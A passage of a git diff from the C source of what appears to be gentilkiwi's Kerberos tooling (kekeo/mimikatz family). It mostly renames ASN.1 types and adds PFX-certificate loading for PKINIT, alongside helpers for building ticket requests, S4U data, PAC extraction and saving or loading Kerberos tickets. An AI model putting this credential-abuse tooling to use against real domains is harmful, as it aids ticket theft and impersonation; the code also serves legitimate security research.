+BOOL kull_m_kerberos_asn1_AsReqAsRep(PKIWI_AUTH_INFOS authinfos, PKULL_M_SOCK fullsocket, KULL_M_ASN1_KerberosTime *time, KULL_M_ASN1_PrincipalName *altService, KULL_M_ASN1_AS_REP **AsRep, KULL_M_ASN1_EncKDCRepPart **encAsRepPart, KULL_M_ASN1_EncryptionKey *replyKey);
+BOOL kull_m_kerberos_asn1_AsReqGenericRep(PKIWI_AUTH_INFOS authinfos, PKULL_M_SOCK fullsocket, KULL_M_ASN1_KerberosTime *time, KULL_M_ASN1_PrincipalName *altService, int pduRep, LPVOID *Rep);
-BOOL kull_m_kerberos_asn1_AsReq_build(PKIWI_AUTH_INFOS authinfos, KerberosTime *time, PrincipalName *altService, OssBuf *OutKdcReq);
-void kull_m_kerberos_asn1_PA_DATAs_build(_seqof4 *padata, DWORD count, ...);
-PA_DATA * kull_m_kerberos_asn1_PADATA_from_REP(KDC_REP *Rep, Int32 type);
-PA_DATA * kull_m_kerberos_asn1_PADATA_from_REQ(KDC_REQ *Req, Int32 type);
-_octet1 * kull_m_kerberos_asn1_AuthorizationData_from_Type(AuthorizationData data, Int32 ad_type);
+BOOL kull_m_kerberos_asn1_AsReq_build(PKIWI_AUTH_INFOS authinfos, KULL_M_ASN1_KerberosTime *time, KULL_M_ASN1_PrincipalName *altService, OssBuf *OutKdcReq);
+void kull_m_kerberos_asn1_PA_DATAs_build(KULL_M_ASN1__seqof4 *padata, DWORD count, ...);
+KULL_M_ASN1_PA_DATA * kull_m_kerberos_asn1_PADATA_from_REP(KULL_M_ASN1_KDC_REP *Rep, KULL_M_ASN1_Int32 type);
+KULL_M_ASN1_PA_DATA * kull_m_kerberos_asn1_PADATA_from_REQ(KULL_M_ASN1_KDC_REQ *Req, KULL_M_ASN1_Int32 type);
+KULL_M_ASN1__octet1 * kull_m_kerberos_asn1_AuthorizationData_from_Type(KULL_M_ASN1_AuthorizationData data, KULL_M_ASN1_Int32 ad_type);
-BOOL kull_m_kerberos_asn1_PA_DATA_encTimeStamp_build(PA_DATA *data, KerberosTime *time, EncryptionKey *key);
-BOOL kull_m_kerberos_asn1_PA_DATA_PA_PK_AS_REQ_old_build(PA_DATA *data, PrincipalName *sname, Realm srealm, KerberosTime *time, PKULL_M_CRYPTO_CERT_INFO certSignInfo);
-BOOL kull_m_kerberos_asn1_AuthPackOld_signed_build(_octet1 *signedInfo, PrincipalName *sname, Realm srealm, KerberosTime *time, PKULL_M_CRYPTO_CERT_INFO certSignInfo);
-BOOL kull_m_kerberos_asn1_AuthPackOld_build(OssBuf *AuthPackOld, PrincipalName *sname, Realm srealm, KerberosTime *time);
+BOOL kull_m_kerberos_asn1_PA_DATA_encTimeStamp_build(KULL_M_ASN1_PA_DATA *data, KULL_M_ASN1_KerberosTime *time, KULL_M_ASN1_EncryptionKey *key);
+BOOL kull_m_kerberos_asn1_PA_DATA_PA_PK_AS_REQ_old_build(KULL_M_ASN1_PA_DATA *data, KULL_M_ASN1_PrincipalName *sname, KULL_M_ASN1_Realm srealm, KULL_M_ASN1_KerberosTime *time, PKULL_M_CRYPTO_CERT_INFO certSignInfo);
+BOOL kull_m_kerberos_asn1_AuthPackOld_signed_build(KULL_M_ASN1__octet1 *signedInfo, KULL_M_ASN1_PrincipalName *sname, KULL_M_ASN1_Realm srealm, KULL_M_ASN1_KerberosTime *time, PKULL_M_CRYPTO_CERT_INFO certSignInfo);
+BOOL kull_m_kerberos_asn1_AuthPackOld_build(OssBuf *AuthPackOld, KULL_M_ASN1_PrincipalName *sname, KULL_M_ASN1_Realm srealm, KULL_M_ASN1_KerberosTime *time);
-BOOL kull_m_kerberos_asn1_PA_DATA_PA_PK_AS_REQ_build(PA_DATA *data, PSHA_DIGEST digest, KerberosTime *time, PKULL_M_CRYPTO_CERT_INFO certSignInfo, PKULL_M_CRYPTO_DH_KEY_INFO dhKeyInfo);
-BOOL kull_m_kerberos_asn1_AuthPack_signed_build(_octet1 * signedInfo, PSHA_DIGEST digest, KerberosTime *time, PKULL_M_CRYPTO_CERT_INFO certSignInfo, PKULL_M_CRYPTO_DH_KEY_INFO dhKeyInfo);
-BOOL kull_m_kerberos_asn1_AuthPack_build(OssBuf *authPack, PSHA_DIGEST digest, KerberosTime *time, PKULL_M_CRYPTO_DH_KEY_INFO dhKeyInfo);
+BOOL kull_m_kerberos_asn1_PA_DATA_PA_PK_AS_REQ_build(KULL_M_ASN1_PA_DATA *data, PSHA_DIGEST digest, KULL_M_ASN1_KerberosTime *time, PKULL_M_CRYPTO_CERT_INFO certSignInfo, PKULL_M_CRYPTO_DH_KEY_INFO dhKeyInfo);
+BOOL kull_m_kerberos_asn1_AuthPack_signed_build(KULL_M_ASN1__octet1 * signedInfo, PSHA_DIGEST digest, KULL_M_ASN1_KerberosTime *time, PKULL_M_CRYPTO_CERT_INFO certSignInfo, PKULL_M_CRYPTO_DH_KEY_INFO dhKeyInfo);
+BOOL kull_m_kerberos_asn1_AuthPack_build(OssBuf *authPack, PSHA_DIGEST digest, KULL_M_ASN1_KerberosTime *time, PKULL_M_CRYPTO_DH_KEY_INFO dhKeyInfo);
-BOOL kull_m_kerberos_asn1_PA_DATA_FOR_USER_build(PA_DATA *data, PrincipalName *user, Realm realm, EncryptionKey *key);
-BOOL kull_m_kerberos_asn1_ForUser_build(OssBuf *ForUserData, PrincipalName *user, Realm realm, EncryptionKey *key);
+BOOL kull_m_kerberos_asn1_PA_DATA_FOR_USER_build(KULL_M_ASN1_PA_DATA *data, KULL_M_ASN1_PrincipalName *user, KULL_M_ASN1_Realm realm, KULL_M_ASN1_EncryptionKey *key);
+BOOL kull_m_kerberos_asn1_ForUser_build(OssBuf *ForUserData, KULL_M_ASN1_PrincipalName *user, KULL_M_ASN1_Realm realm, KULL_M_ASN1_EncryptionKey *key);
-BOOL kull_m_kerberos_asn1_TgsReq_build(OssBuf *OutKdcReq, PrincipalName *cname, Realm crealm, PrincipalName *sname, Realm srealm, DWORD options, Ticket *ticket, EncryptionKey *key, Ticket *addTicket, _octet1 *pac, PA_DATA *optPa);
+BOOL kull_m_kerberos_asn1_TgsReq_build(OssBuf *OutKdcReq, KULL_M_ASN1_PrincipalName *cname, KULL_M_ASN1_Realm crealm, KULL_M_ASN1_PrincipalName *sname, KULL_M_ASN1_Realm srealm, DWORD options, KULL_M_ASN1_Ticket *ticket, KULL_M_ASN1_EncryptionKey *key, KULL_M_ASN1_Ticket *addTicket, KULL_M_ASN1__octet1 *pac, KULL_M_ASN1_PA_DATA *optPa);
-BOOL kull_m_kerberos_asn1_PA_DATA_PacRequest_build(PA_DATA *data, BOOL request);
+BOOL kull_m_kerberos_asn1_PA_DATA_PacRequest_build(KULL_M_ASN1_PA_DATA *data, BOOL request);
-BOOL kull_m_kerberos_asn1_PA_DATA_TGS_REQ_build(PA_DATA *data, PrincipalName *pname, Realm prealm, Ticket *ticket, EncryptionKey *key);
-BOOL kull_m_kerberos_asn1_ApReq_build(OssBuf *ApReqData, PrincipalName *pname, Realm prealm, Ticket *ticket, EncryptionKey *key, ULONG keyUsage, EncryptionKey *authenticatorNewKey, UInt32 *authenticatorNewSeq);
-BOOL kull_m_kerberos_asn1_AuthorizationData_from_PAC_build(OssBuf *AuthData, _octet1 *pac);
+BOOL kull_m_kerberos_asn1_PA_DATA_TGS_REQ_build(KULL_M_ASN1_PA_DATA *data, KULL_M_ASN1_PrincipalName *pname, KULL_M_ASN1_Realm prealm, KULL_M_ASN1_Ticket *ticket, KULL_M_ASN1_EncryptionKey *key);
+BOOL kull_m_kerberos_asn1_ApReq_build(OssBuf *ApReqData, KULL_M_ASN1_PrincipalName *pname, KULL_M_ASN1_Realm prealm, KULL_M_ASN1_Ticket *ticket, KULL_M_ASN1_EncryptionKey *key, ULONG keyUsage, KULL_M_ASN1_EncryptionKey *authenticatorNewKey, KULL_M_ASN1_UInt32 *authenticatorNewSeq);
+BOOL kull_m_kerberos_asn1_AuthorizationData_from_PAC_build(OssBuf *AuthData, KULL_M_ASN1__octet1 *pac);
-BOOL kull_m_kerberos_asn1_EncKDCRepPart_from_AsRep_build(PKIWI_AUTH_INFOS authInfo, KDC_REP *AsRep, EncKDCRepPart **encAsRepPart, EncryptionKey *replyKey);
-BOOL kull_m_kerberos_asn1_EncKDCRepPart_from_Rep_Key_build(KDC_REP *rep, EncryptionKey *key, int pdu, EncKDCRepPart **encRepPart);
-BOOL kull_m_kerberos_asn1_EncKDCRepPart_from_Rep_Rsa_build(KDC_REP *rep, PKULL_M_CRYPTO_PROV_INFO provInfo, int pdu, EncKDCRepPart **encRepPart, EncryptionKey *replyKey);
-BOOL kull_m_kerberos_asn1_EncKDCRepPart_from_Rep_RsaDh_build(KDC_REP *rep, PKULL_M_CRYPTO_DH_KEY_INFO dhKeyInfo, int pdu, EncKDCRepPart **encRepPart, EncryptionKey *replyKey);
+BOOL kull_m_kerberos_asn1_EncKDCRepPart_from_AsRep_build(PKIWI_AUTH_INFOS authInfo, KULL_M_ASN1_KDC_REP *AsRep, KULL_M_ASN1_EncKDCRepPart **encAsRepPart, KULL_M_ASN1_EncryptionKey *replyKey);
+BOOL kull_m_kerberos_asn1_EncKDCRepPart_from_Rep_Key_build(KULL_M_ASN1_KDC_REP *rep, KULL_M_ASN1_EncryptionKey *key, int pdu, KULL_M_ASN1_EncKDCRepPart **encRepPart);
+BOOL kull_m_kerberos_asn1_EncKDCRepPart_from_Rep_Rsa_build(KULL_M_ASN1_KDC_REP *rep, PKULL_M_CRYPTO_PROV_INFO provInfo, int pdu, KULL_M_ASN1_EncKDCRepPart **encRepPart, KULL_M_ASN1_EncryptionKey *replyKey);
+BOOL kull_m_kerberos_asn1_EncKDCRepPart_from_Rep_RsaDh_build(KULL_M_ASN1_KDC_REP *rep, PKULL_M_CRYPTO_DH_KEY_INFO dhKeyInfo, int pdu, KULL_M_ASN1_EncKDCRepPart **encRepPart, KULL_M_ASN1_EncryptionKey *replyKey);
-BOOL kull_m_kerberos_asn1_PAC_from_EncTicketPart(EncryptionKey *key, EncryptedData *data, _octet1 *pac);
+BOOL kull_m_kerberos_asn1_PAC_from_EncTicketPart(KULL_M_ASN1_EncryptionKey *key, KULL_M_ASN1_EncryptedData *data, KULL_M_ASN1__octet1 *pac);
-BOOL kull_m_kerberos_asn1_KrbPriv_build(_octet1 *data, EncryptionKey *key, PCSTR machineName, OssBuf *OutKrbPriv, UInt32 *seq);
-BOOL kull_m_kerberos_asn1_EncKrbPrivPart_from_Priv_build(KRB_PRIV *priv, EncKrbPrivPart ** encKrbPrivPart, EncryptionKey *authKey);
-BOOL kull_m_kerberos_asn1_KrbCred_build(KDC_REP *rep, EncKDCRepPart *repPart, OssBuf *OutKrbCred);
-LPWSTR kull_m_kerberos_asn1_KdcRep_filename(KDC_REP *rep, EncKDCRepPart *enc, PCWCHAR opt, PCWCHAR ext);
-LPWSTR kull_m_kerberos_asn1_KrbCred_filename(KRB_CRED *cred, PCWCHAR opt, PCWCHAR ext);
-BOOL kull_m_kerberos_asn1_KdcRep_save(KDC_REP *rep, EncKDCRepPart *encRepPart, LPCWSTR filename, LPCWSTR opt, PKULL_M_KERBEROS_ASN1_SAVEKDCREP_CALLBACK callback);
-BOOL kull_m_kerberos_asn1_KrbCred_decode(OssBuf *ossBuf, EncryptionKey *key, KRB_CRED **KrbCred, EncKrbCredPart **encKrbCred);
-BOOL kull_m_kerberos_asn1_KrbCred_load(LPCWSTR filename, EncryptionKey *key, KRB_CRED **KrbCred, EncKrbCredPart **encKrbCred);
\ No newline at end of file
+BOOL kull_m_kerberos_asn1_KrbPriv_build(KULL_M_ASN1__octet1 *data, KULL_M_ASN1_EncryptionKey *key, PCSTR machineName, OssBuf *OutKrbPriv, KULL_M_ASN1_UInt32 *seq);
+BOOL kull_m_kerberos_asn1_EncKrbPrivPart_from_Priv_build(KULL_M_ASN1_KRB_PRIV *priv, KULL_M_ASN1_EncKrbPrivPart ** encKrbPrivPart, KULL_M_ASN1_EncryptionKey *authKey);
+BOOL kull_m_kerberos_asn1_KrbCred_build(KULL_M_ASN1_KDC_REP *rep, KULL_M_ASN1_EncKDCRepPart *repPart, OssBuf *OutKrbCred);
+LPWSTR kull_m_kerberos_asn1_KdcRep_filename(KULL_M_ASN1_KDC_REP *rep, KULL_M_ASN1_EncKDCRepPart *enc, PCWCHAR opt, PCWCHAR ext);
+LPWSTR kull_m_kerberos_asn1_KrbCred_filename(KULL_M_ASN1_KRB_CRED *cred, PCWCHAR opt, PCWCHAR ext);
+BOOL kull_m_kerberos_asn1_KdcRep_save(KULL_M_ASN1_KDC_REP *rep, KULL_M_ASN1_EncKDCRepPart *encRepPart, LPCWSTR filename, LPCWSTR opt, PKULL_M_KERBEROS_ASN1_SAVEKDCREP_CALLBACK callback);
+BOOL kull_m_kerberos_asn1_KrbCred_decode(OssBuf *ossBuf, KULL_M_ASN1_EncryptionKey *key, KULL_M_ASN1_KRB_CRED **KrbCred, KULL_M_ASN1_EncKrbCredPart **encKrbCred);
+BOOL kull_m_kerberos_asn1_KrbCred_load(LPCWSTR filename, KULL_M_ASN1_EncryptionKey *key, KULL_M_ASN1_KRB_CRED **KrbCred, KULL_M_ASN1_EncKrbCredPart **encKrbCred);
\ No newline at end of file
diff --git a/modules/asn1/kull_m_kerberos_asn1_authinfos.c b/modules/asn1/kull_m_kerberos_asn1_authinfos.c
index b271d64..503e8e9 100644
--- a/modules/asn1/kull_m_kerberos_asn1_authinfos.c
+++ b/modules/asn1/kull_m_kerberos_asn1_authinfos.c
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
@@ -108,13 +108,49 @@ LPWSTR kull_m_kerberos_asn1_Authinfos_makeMeUpn(PKIWI_AUTH_INFOS infos)
return result;
}
+void kull_m_kerberos_asn1_Authinfos_create_for_cert_names(PKIWI_AUTH_INFOS infos)
+{
+ DWORD l;
+ LPWSTR buffer, p;
+
+ if(!infos->w_cname || !infos->w_realm)
+ {
+ l = CertGetNameString(infos->u.certinfos.pCertContext, CERT_NAME_UPN_TYPE, 0, NULL, NULL, 0);
+ if(l > 1)
+ {
+ if(buffer = (LPWSTR) LocalAlloc(LPTR, l * sizeof(wchar_t)))
+ {
+ if(CertGetNameString(infos->u.certinfos.pCertContext, CERT_NAME_UPN_TYPE, 0, NULL, buffer, l) == l)
+ {
+ if(!infos->w_cname)
+ {
+ kull_m_string_copy(&infos->w_cname, buffer);
+ kull_m_kerberos_asn1_Authinfos_refresh(infos);
+ }
+ if(!infos->w_realm)
+ {
+ p = wcschr(buffer, L'@');
+ if(p && *(p + 1))
+ {
+ kull_m_string_copy(&infos->w_realm, p + 1);
+ kull_m_kerberos_asn1_Authinfos_refresh(infos);
+ }
+ }
+ }
+ LocalFree(buffer);
+ }
+ }
+ }
+}
+
BOOL kull_m_kerberos_asn1_Authinfos_create_for_cert(PKIWI_AUTH_INFOS infos, int argc, wchar_t * argv[])
{
BOOL status = FALSE;
- DWORD l;
LPCWSTR szData, szStoreCA, szCRLDP;
- LPWSTR buffer, p;
+ LPWSTR buffer;
LPSTR abuf;
+ CRYPT_DATA_BLOB blob;
+
if(kull_m_string_args_byName(argc, argv, L"subject", &szData, NULL))
{
if(status = kull_m_kerberos_asn1_crypto_get_CertInfo(szData, &infos->u.certinfos))
@@ -130,34 +166,7 @@ BOOL kull_m_kerberos_asn1_Authinfos_create_for_cert(PKIWI_AUTH_INFOS infos, int
}
infos->type = KIWI_AUTH_INFOS_TYPE_RSA;
- if(!infos->w_cname || !infos->w_realm)
- {
- l = CertGetNameString(infos->u.certinfos.pCertContext, CERT_NAME_UPN_TYPE, 0, NULL, NULL, 0);
- if(l > 1)
- {
- if(buffer = (LPWSTR) LocalAlloc(LPTR, l * sizeof(wchar_t)))
- {
- if(CertGetNameString(infos->u.certinfos.pCertContext, CERT_NAME_UPN_TYPE, 0, NULL, buffer, l) == l)
- {
- if(!infos->w_cname)
- {
- kull_m_string_copy(&infos->w_cname, buffer);
- kull_m_kerberos_asn1_Authinfos_refresh(infos);
- }
- if(!infos->w_realm)
- {
- p = wcschr(buffer, L'@');
- if(p && *(p + 1))
- {
- kull_m_string_copy(&infos->w_realm, p + 1);
- kull_m_kerberos_asn1_Authinfos_refresh(infos);
- }
- }
- }
- LocalFree(buffer);
- }
- }
- }
+ kull_m_kerberos_asn1_Authinfos_create_for_cert_names(infos);
}
}
else if(kull_m_string_args_byName(argc, argv, L"caname", &szData, NULL))
@@ -171,6 +180,21 @@ BOOL kull_m_kerberos_asn1_Authinfos_create_for_cert(PKIWI_AUTH_INFOS infos, int
LocalFree(buffer);
}
}
+ else if(kull_m_string_args_byName(argc, argv, L"pfx", &szData, NULL) || kull_m_string_args_byName(argc, argv, L"pkcs12", &szData, NULL))
+ {
+ if(kull_m_file_readData(szData, &blob.pbData, &blob.cbData))
+ {
+ szData = NULL;
+ kull_m_string_args_byName(argc, argv, L"pfxpassword", &szData, NULL) || kull_m_string_args_byName(argc, argv, L"pkcs12password", &szData, NULL);
+
+ if(kull_m_kerberos_asn1_crypto_get_CertInfo_FromPFX(&blob, szData, &infos->u.certinfos))
+ {
+ infos->type = KIWI_AUTH_INFOS_TYPE_RSA;
+ kull_m_kerberos_asn1_Authinfos_create_for_cert_names(infos);
+ }
+ LocalFree(blob.pbData);
+ }
+ }
if(status)
{
@@ -206,10 +230,10 @@ BOOL kull_m_kerberos_asn1_Authinfos_create_for_asreq(PKIWI_AUTH_INFOS infos, int
LPCWSTR szData;
OssBuf asReqBuff = {0, NULL};
int pduNum;
- PA_DATA *paData;
- PA_PK_AS_REQ *pkAsReq = NULL;
+ KULL_M_ASN1_PA_DATA *paData;
+ KULL_M_ASN1_PA_PK_AS_REQ *pkAsReq = NULL;
OssBuf AuthPackBuff = {0, NULL};
- AuthPack *auth = NULL;
+ KULL_M_ASN1_AuthPack *auth = NULL;
PSTR buffer = NULL;
infos->u.certinfos.tmpAsReq = NULL;
@@ -217,7 +241,7 @@ BOOL kull_m_kerberos_asn1_Authinfos_create_for_asreq(PKIWI_AUTH_INFOS infos, int
{
if(kull_m_file_readData(szData, &asReqBuff.value, (PDWORD) &asReqBuff.length))
{
- pduNum = AS_REQ_PDU;
+ pduNum = KULL_M_ASN1_AS_REQ_PDU;
if(!ossDecode(&kull_m_kerberos_asn1_world, &pduNum, &asReqBuff, (void **) &infos->u.certinfos.tmpAsReq))
{
if(!infos->w_realm && infos->u.certinfos.tmpAsReq->req_body.realm)
@@ -225,7 +249,7 @@ BOOL kull_m_kerberos_asn1_Authinfos_create_for_asreq(PKIWI_AUTH_INFOS infos, int
infos->w_realm = kull_m_string_qad_ansi_to_unicode(infos->u.certinfos.tmpAsReq->req_body.realm);
kull_m_kerberos_asn1_Authinfos_refresh(infos);
}
- if(!infos->w_cname && (infos->u.certinfos.tmpAsReq->req_body.bit_mask & KDC_REQ_BODY_cname_present))
+ if(!infos->w_cname && (infos->u.certinfos.tmpAsReq->req_body.bit_mask & KULL_M_ASN1_KDC_REQ_BODY_cname_present))
{
switch(infos->u.certinfos.tmpAsReq->req_body.cname.name_type)
{
@@ -243,12 +267,12 @@ BOOL kull_m_kerberos_asn1_Authinfos_create_for_asreq(PKIWI_AUTH_INFOS infos, int
if(paData = kull_m_kerberos_asn1_PADATA_from_REQ(infos->u.certinfos.tmpAsReq, PA_TYPE_PK_AS_REQ))
{
- pduNum = PA_PK_AS_REQ_PDU;
+ pduNum = KULL_M_ASN1_PA_PK_AS_REQ_PDU;
if(!ossDecode(&kull_m_kerberos_asn1_world, &pduNum, (OssBuf *) &paData->padata_value, (LPVOID *) &pkAsReq))
{
if(kull_m_kerberos_asn1_crypto_simple_message_get(&pkAsReq->signedAuthPack, &AuthPackBuff))
{
- pduNum = AuthPack_PDU;
+ pduNum = KULL_M_ASN1_AuthPack_PDU;
if(!ossDecode(&kull_m_kerberos_asn1_world, &pduNum, &AuthPackBuff, (LPVOID *) &auth))
{
kprintf(L"Authenticator time : ");
@@ -256,7 +280,7 @@ BOOL kull_m_kerberos_asn1_Authinfos_create_for_asreq(PKIWI_AUTH_INFOS infos, int
kprintf(L"\n");
if(status = kull_m_kerberos_asn1_crypto_get_DHKeyInfo(TRUE, FALSE, &infos->u.certinfos.dhKeyInfo))
{
- if(auth->bit_mask & clientDHNonce_present)
+ if(auth->bit_mask & KULL_M_ASN1_clientDHNonce_present)
if(infos->u.certinfos.dhKeyInfo.dhClientNonce.value = (PBYTE) LocalAlloc(LPTR, auth->clientDHNonce.length))
{
infos->u.certinfos.dhKeyInfo.dhClientNonce.length = auth->clientDHNonce.length;
@@ -264,13 +288,13 @@ BOOL kull_m_kerberos_asn1_Authinfos_create_for_asreq(PKIWI_AUTH_INFOS infos, int
}
}
else PRINT_ERROR_AUTO(L"kull_m_kerberos_asn1_crypto_get_DHKeyInfo(integrated)");
- ossFreePDU(&kull_m_kerberos_asn1_world, AuthPack_PDU, auth);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_AuthPack_PDU, auth);
}
else PRINT_ERROR(L"Unable to decode AuthPack: %S\n", ossGetErrMsg(&kull_m_kerberos_asn1_world));
LocalFree(AuthPackBuff.value);
}
else PRINT_ERROR(L"Unable to get signed message\n");
- ossFreePDU(&kull_m_kerberos_asn1_world, PA_PK_AS_REQ_PDU, pkAsReq);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_PA_PK_AS_REQ_PDU, pkAsReq);
}
else PRINT_ERROR(L"Unable to decode PA_PK_AS_REQ: %S\n", ossGetErrMsg(&kull_m_kerberos_asn1_world));
}
@@ -286,7 +310,7 @@ BOOL kull_m_kerberos_asn1_Authinfos_create_for_asreq(PKIWI_AUTH_INFOS infos, int
else
{
if(infos->u.certinfos.tmpAsReq)
- ossFreePDU(&kull_m_kerberos_asn1_world, AS_REQ_PDU, infos->u.certinfos.tmpAsReq);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_AS_REQ_PDU, infos->u.certinfos.tmpAsReq);
kull_m_kerberos_asn1_crypto_free_DHKeyInfo(&infos->u.certinfos.dhKeyInfo);
}
return status;
@@ -394,7 +418,7 @@ void kull_m_kerberos_asn1_Authinfos_delete(PKIWI_AUTH_INFOS infos)
break;
case KIWI_AUTH_INFOS_TYPE_ASREQ_RSA_DH:
if(infos->u.certinfos.tmpAsReq)
- ossFreePDU(&kull_m_kerberos_asn1_world, AS_REQ_PDU, infos->u.certinfos.tmpAsReq);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_AS_REQ_PDU, infos->u.certinfos.tmpAsReq);
kull_m_kerberos_asn1_crypto_free_DHKeyInfo(&infos->u.certinfos.dhKeyInfo);
break;
default:
@@ -443,10 +467,10 @@ void kull_m_kerberos_asn1_Authinfos_descr(PKIWI_AUTH_INFOS infos)
}
}
-USHORT kull_m_kerberos_asn1_Authinfos_changepw(_octet1 *data, int argc, wchar_t * argv[], Realm domain)
+USHORT kull_m_kerberos_asn1_Authinfos_changepw(KULL_M_ASN1__octet1 *data, int argc, wchar_t * argv[], KULL_M_ASN1_Realm domain)
{
USHORT version = 0;
- ChangePasswdData change = {0};
+ KULL_M_ASN1_ChangePasswdData change = {0};
OssBuf ChangePwd = {0, NULL};
LPCWSTR username = NULL, password;
@@ -463,13 +487,13 @@ USHORT kull_m_kerberos_asn1_Authinfos_changepw(_octet1 *data, int argc, wchar_t
if(username && domain)
{
kull_m_kerberos_asn1_PrincipalName_create_fromName(&change.targname, NULL, username);
- change.bit_mask |= targname_present;
+ change.bit_mask |= KULL_M_ASN1_targname_present;
change.targrealm = domain;
kprintf(L"[changepw] targname : ");
kull_m_kerberos_asn1_PrincipalName_descr(&change.targname, TRUE);
kprintf(L"\n[changepw] targrealm: %S\n", change.targrealm);
}
- if(!ossEncode(&kull_m_kerberos_asn1_world, ChangePasswdData_PDU, &change, &ChangePwd))
+ if(!ossEncode(&kull_m_kerberos_asn1_world, KULL_M_ASN1_ChangePasswdData_PDU, &change, &ChangePwd))
{
if(data->value = (PBYTE) LocalAlloc(LPTR, ChangePwd.length))
{
@@ -480,7 +504,7 @@ USHORT kull_m_kerberos_asn1_Authinfos_changepw(_octet1 *data, int argc, wchar_t
ossFreeBuf(&kull_m_kerberos_asn1_world, ChangePwd.value);
}
else PRINT_ERROR(L"Unable to encode ChangePasswdData: %S\n", ossGetErrMsg(&kull_m_kerberos_asn1_world));
- if(change.bit_mask & targname_present)
+ if(change.bit_mask & KULL_M_ASN1_targname_present)
kull_m_kerberos_asn1_PrincipalName_delete(&change.targname);
LocalFree(change.newpasswd.value);
}
diff --git a/modules/asn1/kull_m_kerberos_asn1_authinfos.h b/modules/asn1/kull_m_kerberos_asn1_authinfos.h
index 575fa4c..ffda55e 100644
--- a/modules/asn1/kull_m_kerberos_asn1_authinfos.h
+++ b/modules/asn1/kull_m_kerberos_asn1_authinfos.h
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
@@ -12,4 +12,4 @@
PKIWI_AUTH_INFOS kull_m_kerberos_asn1_Authinfos_create(int argc, wchar_t * argv[]);
void kull_m_kerberos_asn1_Authinfos_delete(PKIWI_AUTH_INFOS infos);
void kull_m_kerberos_asn1_Authinfos_descr(PKIWI_AUTH_INFOS infos);
-USHORT kull_m_kerberos_asn1_Authinfos_changepw(_octet1 *data, int argc, wchar_t * argv[], Realm domain);
\ No newline at end of file
+USHORT kull_m_kerberos_asn1_Authinfos_changepw(KULL_M_ASN1__octet1 *data, int argc, wchar_t * argv[], KULL_M_ASN1_Realm domain);
\ No newline at end of file
diff --git a/modules/asn1/kull_m_kerberos_asn1_crypto.c b/modules/asn1/kull_m_kerberos_asn1_crypto.c
index e0135b4..48f21d6 100644
--- a/modules/asn1/kull_m_kerberos_asn1_crypto.c
+++ b/modules/asn1/kull_m_kerberos_asn1_crypto.c
@@ -1,11 +1,11 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
#include "kull_m_kerberos_asn1_crypto.h"
-NTSTATUS kull_m_kerberos_asn1_crypto_ekey_create_fromHexString(LPCWSTR key, EncryptionKey *ekey)
+NTSTATUS kull_m_kerberos_asn1_crypto_ekey_create_fromHexString(LPCWSTR key, KULL_M_ASN1_EncryptionKey *ekey)
{
NTSTATUS status;
PKERB_ECRYPT pCSystem;
@@ -27,7 +27,7 @@ NTSTATUS kull_m_kerberos_asn1_crypto_ekey_create_fromHexString(LPCWSTR key, Encr
return status;
}
-NTSTATUS kull_m_kerberos_asn1_crypto_ekey_create_fromPassword(LPCWSTR w_realm, LPCWSTR w_short_cname, LPCWSTR w_password, EncryptionKey *ekey)
+NTSTATUS kull_m_kerberos_asn1_crypto_ekey_create_fromPassword(LPCWSTR w_realm, LPCWSTR w_short_cname, LPCWSTR w_password, KULL_M_ASN1_EncryptionKey *ekey)
{
NTSTATUS status;
PKERB_ECRYPT pCSystem;
@@ -65,14 +65,14 @@ NTSTATUS kull_m_kerberos_asn1_crypto_ekey_create_fromPassword(LPCWSTR w_realm, L
return status;
}
-void kull_m_kerberos_asn1_crypto_ekey_free(EncryptionKey *ekey)
+void kull_m_kerberos_asn1_crypto_ekey_free(KULL_M_ASN1_EncryptionKey *ekey)
{
if(ekey)
if(ekey->keyvalue.value)
ekey->keyvalue.value = (unsigned char *) LocalFree(ekey->keyvalue.value);
}
-void kull_m_kerberos_asn1_crypto_ekey_descr(EncryptionKey *ekey)
+void kull_m_kerberos_asn1_crypto_ekey_descr(KULL_M_ASN1_EncryptionKey *ekey)
{
if(ekey)
{
@@ -83,7 +83,7 @@ void kull_m_kerberos_asn1_crypto_ekey_descr(EncryptionKey *ekey)
}
}
-NTSTATUS kull_m_kerberos_asn1_crypto_encrypt(DWORD keyUsage, EncryptionKey *key, OssBuf *in, OssBuf *out, BOOL encrypt)
+NTSTATUS kull_m_kerberos_asn1_crypto_encrypt(DWORD keyUsage, KULL_M_ASN1_EncryptionKey *key, OssBuf *in, OssBuf *out, BOOL encrypt)
{
NTSTATUS status;
PKERB_ECRYPT pCSystem;
@@ -101,7 +101,7 @@ NTSTATUS kull_m_kerberos_asn1_crypto_encrypt(DWORD keyUsage, EncryptionKey *key,
{
if(modulo = out->length % pCSystem->BlockSize)
out->length += pCSystem->BlockSize - modulo;
- out->length += pCSystem->Size;
+ out->length += pCSystem->HeaderSize;
}
if(out->value = (unsigned char *) LocalAlloc(LPTR, out->length))
{
@@ -127,6 +127,29 @@ BOOL kull_m_kerberos_asn1_crypto_get_CertInfo(PCWSTR Subject, PKULL_M_CRYPTO_CER
return status;
}
+BOOL kull_m_kerberos_asn1_crypto_get_CertInfo_FromPFX(PCRYPT_DATA_BLOB pBlob, LPCWSTR szPassword, PKULL_M_CRYPTO_CERT_INFO certInfo)
+{
+ BOOL status = FALSE, keyToFree;
+ DWORD i;
+
+ if(certInfo->hCertStore = PFXImportCertStore(pBlob, szPassword, PKCS12_NO_PERSIST_KEY | CRYPT_USER_KEYSET))
+ {
+ for (i = 0, certInfo->pCertContext = CertEnumCertificatesInStore(certInfo->hCertStore, NULL); certInfo->pCertContext != NULL; certInfo->pCertContext = CertEnumCertificatesInStore(certInfo->hCertStore, certInfo->pCertContext), i++) // implicit CertFreeCertificateContext
+ {
